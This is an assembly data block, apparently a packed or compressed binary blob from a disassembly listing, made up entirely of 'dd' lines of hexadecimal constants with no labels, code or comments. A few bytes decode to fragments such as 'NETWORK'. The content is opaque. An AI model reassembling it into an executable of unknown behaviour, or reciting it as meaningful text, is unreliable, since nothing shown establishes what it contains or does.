		dd 9AFA13A5h, 73DCC10Ch, 95680848h, 646BCB85h, 271C550Ch
		dd 19A0665Eh, 68AECF9Ah, 3574AF95h, 5C8F6814h, 104FE83Eh
		dd 96DC4D3Fh, 0D376B856h, 2642D319h, 92801151h,	9297482Dh
		dd 50F432AFh, 58088A8Eh, 8795126h, 87EA4171h, 0D37D6408h
		dd 7963118Ah, 24134F78h, 6F4C9967h, 549FBCD7h, 9EC5D440h
		dd 0C69729Fh, 659A7E2Dh, 500C536Eh, 0A47581D4h,	0D73BFB18h
		dd 0B20C6A7Bh, 6F424C08h, 111F78EBh, 92ED6374h,	0C2140B5Eh
		dd 661429ABh, 9710D641h, 0DF11AD83h, 0DD10DB41h, 776FE07Ah
		dd 0F8A2FD8Bh, 73EA116Eh, 89629628h, 0B86FE18Ch, 770854A8h
		dd 0F682B8BAh, 7618150Ch, 11B50DB6h, 9D10B066h,	0E8A5EC09h
		dd 630C4B68h, 69457444h, 0E47AAAF3h, 7611C982h,	20867C88h
		dd 3054F508h, 0C40224F5h, 0A730AA73h, 6B55FA3Eh, 656CE408h
		dd 0B4707184h, 0B40CC86Fh, 0C20C34D1h, 20AD651Ch, 457F6C3Ah
		dd 14180D08h, 14185EF3h, 4C931061h, 6D117314h, 0E80B09D2h
		dd 6AD28974h, 230C12CCh, 846D6508h, 29B15E36h, 9EFC1036h
		dd 6868BC98h, 2008A1A2h, 276C0B50h, 48566E45h, 6519E023h
		dd 84564A9h, 1069C8A3h,	430518A9h, 0CF1C2771h, 89D714B4h
		dd 8870E225h, 91187DAh,	4B4F4BDFh, 10FA2611h, 7451DC9Ah
		dd 0ABD46520h, 69270824h, 85273BCh, 60493264h, 0DA8C3C6Dh
		dd 0B29CD918h, 74666610h, 756210C6h, 3D48835Ch,	77364B18h
		dd 98A6DC1Ch, 92A318D3h, 720E106Ch, 45CA10AAh, 0A167EAFh
		dd 0B5DB73A2h, 76C6BB11h, 0A310D383h, 0F3116EA1h, 5F086250h
		dd 4210C111h, 4CE24920h
		dd 75109A1Ch, 1058949Bh, 627917BCh, 0D7CB9867h,	104A28B3h
		dd 806C389h, 84C2B8B6h,	0A46D7114h, 28D5A230h, 68623083h
		dd 0F451326Eh, 0E66210B2h, 0BF71F179h, 259EEC28h, 3474D685h
		dd 62F19208h, 5FBE9756h, 82108C66h, 0D000D08Fh,	2A9A0C04h
		dd 1CD1FA52h, 6DE9420Ch, 98799411h, 2734269Fh, 18DEAC14h
		dd 0FEDC739Bh, 0D7707111h, 6FF08BA6h, 1373A920h, 0F1115188h
		dd 1093C165h, 48AB16Dh,	7EB85A18h, 0DE2F0812h, 80A71116h
		dd 0EC75559Fh, 68BFA392h, 97683811h, 9F224821h,	103491B1h
		dd 8FFE11E1h, 1A6B0920h, 681C4900h, 68A83054h, 106AB042h
		dd 105539F6h, 251408A4h, 6B1163ADh, 11A7348Dh, 0A03AFD62h
		dd 41B43FFAh, 410C7315h, 0A1564983h, 11B49310h,	116865A3h
		dd 0E13227BEh, 691C0C08h, 0BCB31658h, 6B621932h, 6F765526h
		dd 115E18BDh, 1C5A80A1h, 216C541Fh, 88ED199Bh, 0DBA24A6Eh
		dd 9AA783C3h, 0B5FDA408h, 784B1011h, 82819278h,	0B5E07198h
		dd 139FE118h, 73FA6808h, 1C564733h, 376A0C41h, 77E9CE99h
		dd 115B3F13h, 0DF20AF50h, 0C160AD2Fh, 6D167CFAh, 632A2910h
		dd 79796121h, 2FA0F509h, 1362B508h, 186D145Eh, 0C54A6AEDh
		dd 51701869h, 1C31088Ah, 9B93167h, 5ACA5408h, 8089708h
		dd 0B68021B4h, 0C480DD10h, 48937949h, 7C96513Ch, 0B718A6C8h
		dd 10B6DAF1h, 7665139Ah, 19853679h, 4A3C28B9h, 0B6893B85h
		dd 9CC10BFh, 546716DEh,	692A1C49h, 6BA5A938h, 0AFFE77FDh
		dd 56A1120Ch, 0C11A621h, 8D6A7948h, 7475E034h, 0AFFC45D3h
		dd 0FB720C44h, 0EA682328h, 69709C0Ch, 0BDFC2D20h, 0C1F2849h
		dd 4F9EB1A2h, 262C194Dh, 1722AC41h, 6446196Bh, 9BEFFF1h
		dd 7C20D8D1h, 5A3CFCBBh, 0B6C485Ah, 0C9EC4408h,	749B7210h
		dd 58701024h, 0C5E7106Dh, 0FB14453h, 11B2EB09h,	10A57982h
		dd 0F1183574h, 6D18136Dh, 5E1273BAh, 0DA116D8Dh, 6EAD74DBh
		dd 120882E1h, 18508834h, 0BCC4D149h, 2A9B974Ah,	0AD964F15h
		dd 0DB2D9E78h, 2C583CDCh, 726006D2h, 8B51962h, 10322503h
		dd 4C63D475h, 84AC7310h, 8895389Ah, 260801h, 0A5896493h
		dd 0DD18BDh, 9F3A15Bh, 9A3D380Ch, 68486110h, 182C666Ah
		dd 0A072F1F1h, 2DBC08C8h, 0D6287314h, 10645DA3h, 986AE869h
		dd 0A4746610h, 84E7A618h, 0EA71F124h, 8D7F8721h, 79189358h
		dd 4C089A51h, 7710D84Ch, 0B610A46Bh, 8690200Ch,	0DB3CF330h
		dd 39741199h, 7C144306h, 0CE86496h, 8F200868h, 14AC677Dh
		dd 8E8089Dh, 760361A7h,	7CF25C4Dh, 88154F86h, 30655171h
		dd 29E2205Dh, 7355F6F8h, 0DAF56878h, 0F0ABE211h, 506A5610h
		dd 304DEC41h, 693D5565h, 0E08E19DAh, 81BE7891h,	0E423136Fh
		dd 86ECEE68h, 0D0948C0Ch, 898108Ch, 6F457547h, 10A0B419h
		dd 0D9745B81h, 0D7B4F365h, 0AA08FA89h, 9088A65h, 0F9CCEC91h
		dd 0BAF2D255h, 8B0CAA75h, 73AF25FDh, 0A9571856h, 0C645E94h
		dd 189A60A9h, 3C3BED08h, 0DC086F2Dh, 53672A10h,	974A0879h
		dd 680C0A87h, 6B584908h, 9B1C6C49h, 22964918h, 397E199Ah
		dd 80E38B4h, 84103467h,	0FF257361h, 0B1109866h,	5E22728h
		dd 141B0C1Ah, 8D0834D5h, 0CC10BB58h, 5511DBBAh,	0FFE2F720h
		dd 8CCB860Bh, 7468C8C4h, 0BD2E41DEh, 6D6910A2h,	0F9454661h
		dd 10DA0F7Ch, 2C76880Dh, 33106B7Ch, 9D114A1Ah, 6D1996F3h
		dd 10AD63C9h, 46792E41h, 6F4A6610h, 0D1F2D8D9h,	340D21ACh
		dd 39BCA118h, 754683D0h, 8A54173h, 10DAEC38h, 10586813h
		dd 2D2771C7h, 0F9294441h, 0EA1DD31h, 85142508h,	48EA18D4h
		dd 4A109BD7h, 8F0100Ch,	0D9644F76h, 530C1440h, 22491B08h
		dd 45ADCE58h, 1491E20Ch, 7D107C61h, 0C4442D26h,	85107394h
		dd 8327A6Eh, 2DEBA46Bh,	0DDCB9DB1h, 0DDEE1025h,	94D0F254h
		dd 65084CF7h, 72277942h, 0BB0870A8h, 9B1073AAh,	900CA0AAh
		dd 0DF588A78h, 0B41C9D88h, 0BCB064A8h, 753150A7h, 0A0FFB4B2h
		dd 2C8BB319h, 0AD9548EEh, 4DD71059h, 19DA1CE8h,	0B36CCF05h
		dd 28196815h, 10CD616Ah, 10546FD9h, 9254D710h, 8C2714F5h
		dd 84B40C41h, 0A90C376Eh, 0C84FFECh, 87357DDEh,	1510B126h
		dd 186F7A6Ah, 9949BC48h, 55CB6125h, 67AAE4h, 2744C989h
		dd 8920844h, 0FD08AF6Eh, 2C56C3FCh, 0CFD5AB78h,	182808BAh
		dd 85B9CA3h, 8221AF36h,	0F5EC1BC9h, 7110C566h, 0DF32A262h
		dd 501B4889h, 70F74BC5h, 5A3E7DDBh, 0FB789FF6h,	10B27449h
		dd 10F36E34h, 89C44F3Eh, 6F640820h, 64918C73h, 0EAAC10B4h
		dd 66701CDEh, 261D6F8Dh, 4D9E2610h, 79D06C10h, 336CD1C9h
		dd 201059CCh, 41ADE65Ah, 0FD29350Ch, 950C5566h,	0F3ACD90Ah
		dd 68324164h, 6481730Ch, 106C2C96h, 0F994AC6Eh,	0DE782C76h
		dd 7F08A847h, 0D170A462h, 44131A4Ch, 0E1198D77h, 68E90575h
		dd 346C18DAh, 336610CEh, 27866697h, 0CF57F7D2h,	0C9897284h
		dd 124F5CBCh, 19977664h, 8677529h, 0C2797408h, 72306973h
		dd 65468E66h, 4C8E105Eh, 72A4E45Eh, 8E7E08AAh, 0D7116E3Dh
		dd 109126BEh, 11D82C97h, 73E1FD69h, 42166EE5h, 132D9AB4h
		dd 6C182F8Ch, 192437BBh, 7A9FC166h, 96A80CE9h, 651150D9h
		dd 506B156Fh, 0AC71189Ah, 1BB5B4A0h, 58C2C4AAh,	0D7F07A74h
		dd 622DE010h, 5AD28CAEh, 116957E2h, 108A1CF8h, 107DFB1Bh
		dd 0B27AE0C8h, 0FC657010h, 2C8D1935h, 0C42726E2h, 5575713Ah
		dd 6FB1330Ch, 2D8E5811h, 22BEBB52h, 0C2089510h,	1393C864h
		dd 6D78B663h, 1409FA18h, 0C6BD8104h, 522D3648h,	0BADD5F0Bh
		dd 6C42F168h, 614F4C40h, 2C4AD887h, 5EEF4747h, 186D47EEh
		dd 0D83877DDh, 0E574109Ah, 57A106Dh, 9756C8Eh, 88756708h
		dd 9A4F3094h, 72A10241h, 0B622FC63h, 705E219Ch,	0B37880F2h
		dd 0D711B441h, 41493C57h, 0BEFB0792h, 3879A921h, 0B4987025h
		dd 6F12CD00h, 43385658h, 4468F579h, 99773E9Eh, 4348BC78h
		dd 10DBC058h, 9B3CA8ADh, 0A2907C10h, 48B9DC9Ah,	0A0582608h
		dd 4D8B9408h, 0B4C94D10h, 0D6E31A11h, 20EE3968h, 680B9DA5h
		dd 10ECF8D4h, 0B8459573h, 0CCC71834h, 80474CDh,	0D47EA88Dh
		dd 0FC994B1h, 82736408h, 1491613Eh, 2C69EB63h, 6D895F11h
		dd 18D688CCh, 10AD60CDh, 809441Ah, 2F08F928h, 11DFB244h
		dd 20A2FA7Fh, 4DDDA5C3h, 71326230h, 0EEB5E316h,	9010F036h
		dd 4D408B3Dh, 0D97A552Ch, 556B7C11h, 7924C218h,	0F9C308A9h
		dd 649A1278h, 0D866724Ah, 0C9634F18h, 61109AAEh, 6C18C1FAh
		dd 26C85F6Bh, 25C225C5h, 7A26082Dh, 6D5C4E11h, 2E650918h
		dd 404AC2AFh, 0BF510C1Ah, 882D0C23h, 3A5A0C57h,	6DF37618h
		dd 84EE0518h, 0AB082725h, 7AF88DDAh, 0D1080CA2h, 270821E8h
		dd 34A2D376h, 9E3CA8D0h, 8A69E62Fh, 992CF70Ch, 79526B8Eh
		dd 8A47D0Ch, 8821692h, 73949FDEh, 60702A08h, 0FCB65AB2h
		dd 0DACA1137h, 9AA55468h, 700809CFh, 0B49BB5D6h, 2590F5E5h
		dd 140C0D27h, 65084A92h, 219C6A10h, 14A927CCh, 19C59C6Ch
		dd 24586570h, 846974A8h, 6136ADFBh, 585465C9h, 78E18316h
		dd 88E30816h, 866E6908h, 0E4DE79F4h, 817CCEA7h,	543C7410h
		dd 19AB185Ah, 44FD7570h, 120819E0h, 126F5463h, 1A1F530Ch
		dd 0C110C05h, 58DED263h, 0F6AF196Dh, 19DAECECh,	0D9380BA5h
		dd 6D11328Fh, 0F628A392h, 0EDD74A0Ch, 9CE6E619h, 0B373AF1h
		dd 6C794202h, 5610DAB8h
		dd 10CB2664h, 0F1056461h, 262FB561h, 724A1014h,	0C034FDDh
		dd 820CD6Bh, 8C797A64h,	276E6521h, 8293442h, 10749833h
		dd 104D0CB6h, 7839F32Bh, 46370F97h, 0BF11696Bh,	10829E72h
		dd 0A508C328h, 48085588h, 6A54BC41h, 0BC08A673h, 7C186DB9h
		dd 8AA7455h, 509D23CBh,	0F1965408h, 2A2009E5h, 5F20E310h
		dd 1A14E31Ah, 0C8102D08h, 118DFF05h, 8786FF1h, 6D08A970h
		dd 0D3E432C2h, 13DC11DAh, 566AFA10h, 3018CD38h,	8AA72E3h
		dd 106C6CDEh, 3ABEB675h, 201C6629h, 2AE6AAD9h, 11B4C808h
		dd 11DB52F8h, 89AE27B5h, 10D568ECh, 852ADE18h, 0E7086B51h
		dd 431D9648h, 8CAE7D60h, 3A620BA1h, 0C10A864h, 4CAF911Ch
		dd 0CA67E6Eh, 637F8E9Ah, 0BCB80CA6h, 9C3A088Ah,	7ED42942h
		dd 0E0940820h, 0D23D14A3h, 0DEB05C6Ch, 1325CD24h, 0D1104145h
		dd 0DE113D06h, 0C8567EB6h, 8A3C0C41h, 140C6E8Ah, 0A2932863h
		dd 0C6116B99h, 0F510D26Dh, 0E081689h, 0D9366D4Bh, 0A4677119h
		dd 70C59508h, 6A970C22h, 0CBF012F4h, 80AD7DDh, 881BEAAh
		dd 0C809A072h, 2C1C6F55h, 6910DB95h, 8C332288h,	6EA9C2E4h
		dd 7AF1087Ah, 498B3D67h, 99457A10h, 6129CDE8h, 0AAAC3420h
		dd 930CAC51h, 86DE0596h, 21649C0Ch, 2DB0B218h, 10E8665Ch
		dd 58266797h, 16EFF10h,	2D746312h, 0DA7C6C44h, 0F3A8F720h
		dd 0A2934808h, 4AAD8208h, 0C41C1AE5h, 0AB637D03h, 2D3E250Ch
		dd 49746219h, 14112A1Ch, 5F613608h, 0C49FDB6h, 96B8DD2Bh
		dd 60B26818h, 479106Bh,	906711B5h, 0D2A4E68Bh, 0A8587510h
		dd 2408439Eh, 0EA6F1063h, 10CDC079h, 802A765h, 8AB0CC75h
		dd 25705414h, 19D3E3E6h, 1F3C3DF1h, 0A7450CD0h,	53B3C42Ah
		dd 69FA5C0Ch, 98DAA008h, 541486E0h, 0A3770D68h,	9279EA0Ch
		dd 0ACF9C414h, 5005F950h, 0D993086Bh, 62199750h, 0C45BCB7h
		dd 82085CA0h, 8AB25FB5h, 7A630C23h, 8A11CED7h, 822846Ah
		dd 342952DEh, 9023B4A4h, 0CC646C16h, 7729B0EDh,	0B4D52C08h
		dd 6514219Ch, 6B4C526Ah, 9795891h, 0E0C4102Ah, 0C05467C9h
		dd 0C72E114Dh, 0F111AD18h, 45584979h, 86F1140h,	0B4795C4Ch
		dd 7A416110h, 6C8FEE69h, 0D4E6790Bh, 706B10CBh,	11646F9Fh
		dd 34D05BF3h, 3BD178C2h, 18D64022h, 39ADBCB5h, 0A3CD8BC3h
		dd 6719665Bh, 0C745312h, 3C319B78h, 3052723Ch, 29DAAA78h
		dd 70CB4A08h, 440C8A04h, 119F8219h, 1C2F6420h, 6211B3FCh
		dd 0B98435BDh, 5A08424Eh, 7CE2CD89h, 3C116D53h,	20722E8Ch
		dd 0DEF93422h, 884C0D0h, 0D97894D0h, 84D6F18h, 0B40826A2h
		dd 6D056F5Dh, 0A534CD73h, 2ACD6210h, 32273E10h,	720C04DFh
		dd 0EAE33EC9h, 0B4FBDA74h, 0AF0C2100h, 19484EB3h, 75995F18h
		dd 67E418B3h, 0ED081FE5h, 101EF813h, 182A6B65h,	106DD494h
		dd 401F116Bh, 0E19C8D5Eh, 0E8E6E668h, 2FD064F0h, 29354C6Ch
		dd 5FBCFC62h, 0C1FC674h, 86324C69h, 9B4CAA6Dh, 3E584527h
		dd 0E1646217h, 2166F21Ah, 8435030h, 0B77C7325h,	663BA4F9h
		dd 0E0023F39h, 334B3832h, 3650581Ch, 4D200811h,	38392045h
		dd 11544E32h, 64500C35h, 0A3DE5D73h, 0FEEF4D1Dh, 14144D88h
		dd 0E037440h, 8393910h,	4CA22A30h, 35D6FD4Fh, 0CC810968h
		dd 9A874E55h, 0E345053h, 106E415Bh, 340855C0h, 84CC832h
		dd 0DB300931h, 331CE949h, 58302EBh, 3FFF9E8h, 0C9315B02h
		dd 0E0FB966h, 0A20E7380h, 9EF9E243h, 2DB16418h,	102360Ch
		dd 364C033h, 0FD783040h, 60CD78Bh, 0EAD1C70h, 9EB3108h
		dd 0FD8D340Ah, 3C0C9F7Ch, 0B03D08Ch, 7D48EACAh,	20413E78h
		dd 5987DABEh, 23FF331Ch, 278E57F6h, 81100C04h, 0ABF10A79h
		dd 0FC026420h, 316C433h, 0E518EB74h, 39833B17h,	0C3B904C0h
		dd 74F68587h, 41FF47DBh, 0C8F203D7h, 0E83757FAh, 7FCBD112h
		dd 2D20C130h, 5A956973h, 6AC1F13Fh, 0C317E8C0h,	0C3017533h
		dd 22D4AAC5h, 85071008h, 40ED840Fh, 5B58C3A6h, 8314505Dh
		dd 39F54ECh, 488DFC8Bh,	0F3D7A840h, 44B003AAh, 515257ABh
		dd 0C9286A89h, 550C8001h, 83D6FF53h, 85540DC4h,	3E64C3C0h
		dd 0BA9384F3h, 0A3BC2D76h, 0DF4EE24Fh, 7BB53F64h, 9A77C9C6h
		dd 0B2E5D5E0h, 3BE3F45Bh, 14530366h, 639C68B6h,	97780129h
		dd 0E908C20Bh, 655540EAh, 18533AD4h, 3776426h, 3533316Dh
		dd 68441521h, 87635C01h, 42DF4C09h, 1D03C81h, 47ACB85Bh
		dd 0B801D00Ah, 2944920Ch, 7280EC1Fh, 341CE2D6h,	4109756Ah
		dd 0DD2E4E53h, 424D8F02h, 0BD984097h, 0A5D59D63h, 14B5E840h
		dd 20F34039h, 1C1754C2h, 24F2218Bh, 0BB6573B6h,	0DF2D91D2h
		dd 0C0379B42h, 41B6A105h, 8D31187Dh, 5F2AFE28h,	0A30A85C3h
		dd 0E83050C0h, 4D11C885h, 0E5011B1Ch, 91014038h, 0D84FC8CBh
		dd 5A1610EBh, 665C334Ah, 34800180h, 59E2990Ah, 897362FAh
		dd 0F798ED70h, 9521C3F0h, 0E664690Fh, 0E9877C12h, 0D9633485h
		dd 0D841CB91h, 7E9AA5EAh, 0E1EF316Ah, 0E9B9E70Bh, 8DD7FC62h
		dd 0CF74AA07h, 0A6D6C8CEh, 0F36B0019h, 3F6AC097h, 0C6EA91EDh
		dd 9D5E1A03h, 0E707BDCh, 5412C710h, 9ABDDF41h, 0D07A615Ah
		dd 503FAA58h, 0CD826FFFh, 0F3EF1C85h, 0A81E6D9Bh, 0D863F912h
		dd 5F3D1A6Eh, 0F3499F97h, 0E571C006h, 1A80E5DCh, 66CFCB94h
		dd 0C36365CEh, 229DF3D2h, 0C96FF026h, 0CC988F03h, 0C7692C9Bh
		dd 879E5E2Ah, 0AA243099h, 0DE031059h, 0CE89F39Dh, 6D2836CAh
		dd 616C0D36h, 1650D46h,	12DD751Ah, 8042AA6Dh, 8510C034h
		dd 0EA627B17h, 6A164DFh, 5ED907A5h, 0A098B592h,	89DE14CCh
		dd 0CACF36C9h, 5EEC6702h, 0FA1BA5F8h, 0BD27FDF4h, 0FE7D3A0Ah
		dd 0AC71313Ah, 0ECCC1C35h, 81C85160h, 0C34B2480h, 777B32C0h
		dd 3E715A80h, 0FE6762h,	0C9EDFCDEh, 0D8FAF6EBh,	0E9EDFD71h
		dd 0DA99C4EAh, 0EDF80CC7h, 1D33129Ah, 0E1DCF8D8h, 0D4DFDF0h
		dd 0F8DCD5F1h, 0FBFDE9FDh, 0E026B7FBh, 0EAEE0732h, 3EAAC6ABh
		dd 0E57BA7F4h, 88F23C9Bh, 0F0FB240Ch, 0EAF5E8F7h, 3E7CDEEAh
		dd 64FAF819h, 94F4E7E9h, 284FB80h, 0FF3517AAh, 6E69B844h
		dd 0F46CD9EAh, 12DD3703h, 2C4F1428h, 88A5C8BCh,	0F99D4511h
		dd 2654ADE8h, 4199EA4Bh, 204F3A9Eh, 0A95C5427h,	0E05B21E8h
		dd 98465402h, 4D56EBBCh, 220B8518h, 0A1768577h,	3B2DCD48h
		dd 0EA933FF3h, 9F5A9C37h, 8CFE8473h, 0F99F5446h, 0CBB048D6h
		dd 9486880Dh, 0F8B4290Fh, 0E90AA4Ch, 7DBB16AEh,	55B2F80h
		dd 14E243C1h, 968AF95Eh, 77BAD356h, 7929D59Bh, 43B12B34h
		dd 50BD2707h, 0CD6FE3FBh, 26FA2F53h, 295A683Bh,	8091B4ECh
		dd 0BFAB34B4h, 3DFB0717h, 4A200E78h, 0FEFD34FAh, 0CEFE4FC4h
		dd 8EAAA5B4h, 0F4319430h, 38D03A2Fh, 72B63FADh,	189DFEB4h
		dd 3DE49B0Fh, 0CFB23F34h, 40E23FF9h, 0D4044EBDh, 4C62A554h
		dd 1B5EA92Ch, 0B6AAE463h, 0A4289128h, 53C388FFh, 68CCF19Fh
		dd 7553C090h, 10A52D62h, 46F1A024h, 0D49F3532h,	129A4074h
		dd 0FEF3AE0Fh, 82DA839h, 0FE666F13h, 0A00A6F29h, 6AA9D390h
		dd 0F66E67E5h, 18CBF4B0h, 1DE9AC46h, 0FFB5146Ch, 13FF2394h
		dd 725E0D02h, 7942BE17h, 15FC734Bh, 181D2EC9h, 406A9D29h
		dd 0E05357D6h, 3DD27156h, 58A67E2Ch, 5AA73494h,	45FDD235h
		dd 0DC58E848h, 2429029h, 0F8078C21h, 80A010Fh, 0FDF020C0h
		dd 0FF0CA17Fh, 235F6538h, 0C8CA1865h, 37626A5Bh, 6207A713h
		dd 43500200h, 454E0120h
		dd 524F5754h, 76B4BA4Bh, 413C4777h, 2E310C4Dh, 0F24C3030h
		dd 6A2F54Eh, 6756970Bh,	0E9F466C6h, 5F9F4AF2h, 83709C69h
		dd 312E331Eh, 4D513061h, 30583248h, 33B3D2E3h, 16DE2EEEh
		dd 3220544Dh, 16BF30CDh, 73888852h, 183B0764h, 40BFF0Ch
		dd 1A0A5311h, 8006D48Ch, 28108A1h, 4B19E044h, 0A345EA46h
		dd 0F30DBEA7h, 274704EAh, 22941D5h, 8D1CF206h, 0CDF3CF02h
		dd 0FF42F910h, 48478302h, 804B4A49h, 504F4E9Eh,	53520051h
		dd 57565554h, 5A005958h, 64636261h, 2676665h, 6B6A6968h
		dd 58766D6Ch, 70F07112h, 77760275h, 307A7978h, 8B7DD357h
		dd 0BE442F2Bh, 816660C2h, 899B80ECh, 0A4EDE8E6h, 683603DBh
		dd 63D61209h, 190FF7E3h, 0A084689h, 760014A2h, 0D06B6804h
		dd 54CA7D2Bh, 0F00C15E2h, 0FA248E3Fh, 0B13E2497h, 0DB311BCDh
		dd 0FF10F1h, 89D0FF99h,	768B56C3h, 0B9C7D8F9h, 0A4F310A0h
		dd 0C0315E0Ch, 0C1530250h, 0C56FF06h, 0D49EB28Bh, 5E5F01C4h
		dd 60E0F85Bh, 7123E830h, 24448Bh, 7C588D0Ch, 53C4383h
		dd 28708174h, 311F1049h, 0FFF00E63h, 6048BC4h, 14C48324h
		dd 0C3737C50h, 0B964D23Fh, 22899932h, 1B32B8C6h, 29D0F5Bh
		dd 0AFF3DFA2h, 0EBC7E155h, 107EC8DBh, 48F7F64h,	60C36158h
		dd 8B23C8BFh, 89C71F63h, 0F890BF07h, 9A78C781h,	0FF9F63Eh
		dd 4741939h, 0F8EB09E3h, 5AD3FAD3h, 0B705B7CFh,	0F68FEF52h
		dd 4ACF118Fh, 0FD43C681h, 0A16E8A01h, 400E360Ch, 6E586C1Ch
		dd 8E47F11Eh, 6F460EACh, 6CE39A04h, 45F12824h, 554FC3Ch
		dd 0A7EA8CCFh, 5AC3184Ah, 0E3EBC020h, 7D497B38h, 28EEF034h
		dd 3E95FF31h, 0E081ACFCh, 0CFC10774h, 0EBC7FC0Dh, 7C3BF40Eh
		dd 0E1752624h, 6603ED48h, 904B0CB1h, 0BF411C12h, 89E8548Ah
		dd 618E3DDDh, 921F08C2h, 0C4F830FEh, 0D8A0F254h, 4652E8FCh
		dd 7CBB64F7h, 4F28EF4Fh, 2E885F10h, 0AC99C0E0h,	0B790E984h
		dd 6C222CAh, 75042454h,	5B8C44E3h, 0FD209F3h, 325C89C6h
		dd 645AC365h, 8530B207h, 0FB0F7862h, 868829Ch, 5F8F0BE9h
		dd 7C0534E2h, 3C680880h, 0F607315Fh, 0DEB5660h,	43CEEF92h
		dd 0FE98F072h, 570E028Ah, 0EEE8E7FFh, 0FFE184D0h, 0B9064338h
		dd 5019C2Bh, 19A0024Ch,	0A109C830h, 43370391h, 0EB840803h
		dd 8379006h, 76D638Bh, 735E2FDFh, 0F16F5DE0h, 585CF67Eh
		dd 1A3E8C3Fh, 0DD14AA26h, 3166E3C4h, 0FD273E05h, 0C7791449h
		dd 72124E68h, 1A7EEA7Fh, 0FE045010h, 0EE8EDC2Dh, 0FA1B34F8h
		dd 0E005718Ch, 1003330Bh, 92248D9h, 16D0357Fh, 0D9B8A204h
		dd 606DA004h, 46C5C088h, 5D040500h, 4EB8A88h, 9F11C91Ch
		dd 2B6A80E8h, 602C4810h, 5E47002h, 0E83B4C11h, 0FD84E540h
		dd 2D044443h, 0A7940631h, 58243200h, 6445CCFDh,	70B00049h
		dd 2C74AEDDh, 6015D296h, 0CD1C0D5Eh, 4C031970h,	1010457Ch
		dd 96804C00h, 52AE2F1h,	0A611CE4Dh, 0AFA1806Ah,	0F435726Eh
		dd 2281290Ch, 34584252h, 0ADF0140Dh, 0A81208BAh, 60870DF4h
		dd 4D0410E0h, 57324F45h, 0BEA22904h, 33829BCh, 943071CCh
		dd 0C5182829h, 0D00C1001h, 0E1C803CCh, 18024449h, 11689AD8h
		dd 94780798h, 2858C4B8h, 2964168Dh, 0CA209150h,	0ABD974B9h
		dd 0A523105Bh, 0A47CA6E4h, 0F2AD918Fh, 74823EAAh, 58645844h
		dd 40489009h, 78262091h, 3C01E560h, 4F8850D8h, 20881BB6h
		dd 2E8403FFh, 486062F4h, 66480446h, 20915EEh, 9C10B2A4h
		dd 1408862Ch, 0B40C1978h, 701C28D2h, 9398D81Ch,	11D24F80h
		dd 32BE3DA9h, 3221B257h, 5839E1E2h, 0D0E82380h,	4318E001h
		dd 6008E114h, 0F8A504A6h, 3BF2C011h, 0E0E0241Dh, 317C581h
		dd 0E90E8007h, 0F110994Ah, 156F508Ah, 0E402857Ah, 24E80FA9h
		dd 6E656030h, 0DAD81842h, 6124BA0Dh, 0C5C0CADh,	0B208A503h
		dd 284D58E2h, 2480D3BBh, 44D6482Eh, 21E10E68h, 0B8BE0A4h
		dd 948F02E0h, 5CB30820h, 8AA0570h, 24E8C357h, 9336310Dh
		dd 3592A033h, 18D136E0h, 0F89CBD02h, 156F1C64h,	20B27863h
		dd 0C2D9899h, 0CC2A5088h, 37F8AE02h, 8B188C28h,	0D484003Eh
		dd 42554E70h, 460C1E08h, 81684804h, 7FFDE0CCh, 4C1908A7h
		dd 0BA014E90h, 16C62870h, 139D35EFh, 49603808h,	649150E0h
		dd 58884FB8h, 45202F3Ah, 779EDE96h, 5A385F5Bh, 7CDA3D9Bh
		dd 6966F99Fh, 0D0AD3ADDh, 8B2D8634h, 0E8108E54h, 79697270h
		dd 137EE565h, 929BAC1Ch, 425BBCB0h, 4325224Bh, 9062CF0Bh
		dd 38FDC606h, 12120FA9h, 0BEE295D9h, 6E4BF120h,	23025592h
		dd 0ACF4607Bh, 2BEB799Ah, 66CDA340h, 0A171128Fh, 180C1B19h
		dd 0C0097525h, 0EBF1CD2Ch, 0CF660D84h, 367FB989h, 61605D9h
		dd 0F141128Dh, 987528E6h, 9D3E9B75h, 0F355034Bh, 25CAC889h
		dd 33C0812Ah, 2097F1D3h, 0A9FF104Bh, 0CD75011Ah, 0F3BDA514h
		dd 3C032E8Ch, 0CBDD5F64h, 0F679B89h, 0C510A40Ah, 0D509D12Ch
		dd 0CE14C988h, 0C8CCCD2Bh, 9861F302h, 0A9EF6608h, 0BD9DCF01h
		dd 0A8407B95h, 859DCC91h, 0C87A9506h, 0A5DC121Ch, 0E1B1CDC0h
		dd 0F4CB4C9Ah, 3B976EBh, 0D050AA6Ch, 5CEB34D8h,	279642B8h
		dd 4FA38900h, 525891EDh, 43FC94h, 0A26872D9h, 0C37EEC86h
		dd 0BD7D1272h, 19FF443Bh, 8512D295h, 819CED07h,	0C0C73252h
		dd 0BB46715Ah, 0D7170002h, 67EB7597h, 34078F2Ah, 76579C40h
		dd 52F97921h, 0F6A25120h, 1F6C7F90h, 7336075h, 295FE07Eh
		dd 7DE4FC79h, 0AF84957Ch, 0FECC2540h, 874BEDFEh, 1EB8FDCEh
		dd 239C908Fh, 657564EDh, 0FDE37A12h, 6D646988h,	904B6133h
		dd 8459FF8Ch, 0CF209D42h, 0D96207E7h, 490074FFh, 8720FE71h
		dd 9C977DAEh, 7901FB00h, 8BEFB7CBh, 7D08B94Fh, 21083B3Ah
		dd 37907676h, 0D3FD29C9h, 0FDED5C07h, 8C45FFF6h, 2FEEF220h
		dd 486B855Fh, 0BEFEFF11h, 7DA40399h, 8C08AD4Ch,	904CBE10h
		dd 0F920F2A4h, 0D69474Dh, 53989C9Ah, 0F885052h,	8821297h
		dd 8EC48AE0h, 6E4A1957h, 778E5E28h, 9577730Dh, 410230EAh
		dd 398D030Ah, 24B73582h, 872E3CB3h, 0DA714FCAh,	8C4AC5Eh
		dd 1EDA2220h, 9FC85742h, 0EB2D0359h, 6524468Ah,	40083247h
		dd 0E506701Eh, 2AFD070Dh, 8A158120h, 0C148E088h, 44C14Fh
		dd 6A1981h, 49E4F27Ah, 30AF281Ch, 10742505h, 0E22F5367h
		dd 0E0915CB2h, 54D91A75h, 5CE04304h, 31BE1044h,	6268F096h
		dd 3889321Bh, 38213610h, 307854BEh, 3FD1A694h, 0E5080147h
		dd 0A2640864h, 0DC081074h, 18F74004h, 33DEC8CEh, 98167282h
		dd 9C019F17h, 3903D976h, 6C408B08h, 11032908h, 0DA6C158Ch
		dd 0D4487548h, 8E5B7038h, 6C9C280Ch, 0BB42546h,	6BC610A0h
		dd 1C9CF6E1h, 9929546Eh, 0C99B26B7h, 0B8294659h, 4592CC50h
		dd 0A46C80D9h, 0B82701F2h, 0D1C204DDh, 6A0C4C4Ch, 39192800h
		dd 11D0B10Ch, 5A8709Bh,	2ED94FC0h, 0F6A4E6F5h, 0F40C2B02h
